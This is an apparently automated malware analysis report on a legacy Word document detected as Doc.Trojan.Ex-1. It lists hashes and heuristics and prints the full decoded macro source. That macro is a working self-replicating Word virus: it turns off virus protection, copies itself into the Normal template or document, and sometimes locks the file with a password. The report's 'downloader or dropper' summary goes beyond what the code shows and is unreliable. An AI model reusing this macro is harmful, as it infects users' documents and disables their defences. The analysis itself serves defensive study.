Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2f4e05aba86609b1…

MALICIOUS

Office (OLE)

30.0 KB Created: 2000-08-22 21:59:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 4dea1dbbaf69e0e19433d5f7adaad309 SHA-1: 3ba6bcf9c0826fb01ed795574c02f8772bd00067 SHA-256: 2f4e05aba86609b12b323aef1b605e5aa09e9f3e0df44114ae8d77d432e5ad5c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample contains a legacy WordBasic auto-exec macro (auTOOPen) that attempts to export its own code to 'c:\x.sys'. It then conditionally imports this exported code back into the document or NormalTemplate, suggesting an attempt to obfuscate or re-inject malicious functionality. The macro's logic and the presence of legacy markers indicate a downloader or dropper mechanism.

Heuristics 4

  • ClamAV: Doc.Trojan.Ex-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ex-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 846 bytes
SHA-256: 47a9f3ae7093076b9588f3c681ad8455c4c08072e80f4b83c55bbbce9dedc3fa
Detection
ClamAV: Doc.Trojan.Ex-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "x"
Sub auTOOPen()
On Error Resume Next
Set n = NormalTemplate.VBProject.VBComponents: Set d = ActiveDocument.VBProject.VBComponents: Set c = ActiveDocument
e = Chr(120): xz = "c:\x.sys": d(e).Export xz
Options.SaveNormalPrompt = False: Options.VirusProtection = False
If Day(Now()) = 7 Then c.Password = e
For i = 1 To n.Count
    If n(i).Name = e Then nx = -1
Next i
For i = 1 To d.Count
    If d(i).Name = e Then dx = -1
Next i
If nx = -1 And dx = 0 Then d.Import xz: c.SaveAs (c.FullName)
If nx = 0 And dx = -1 Then n.Import xz: NormalTemplate.Save
End Sub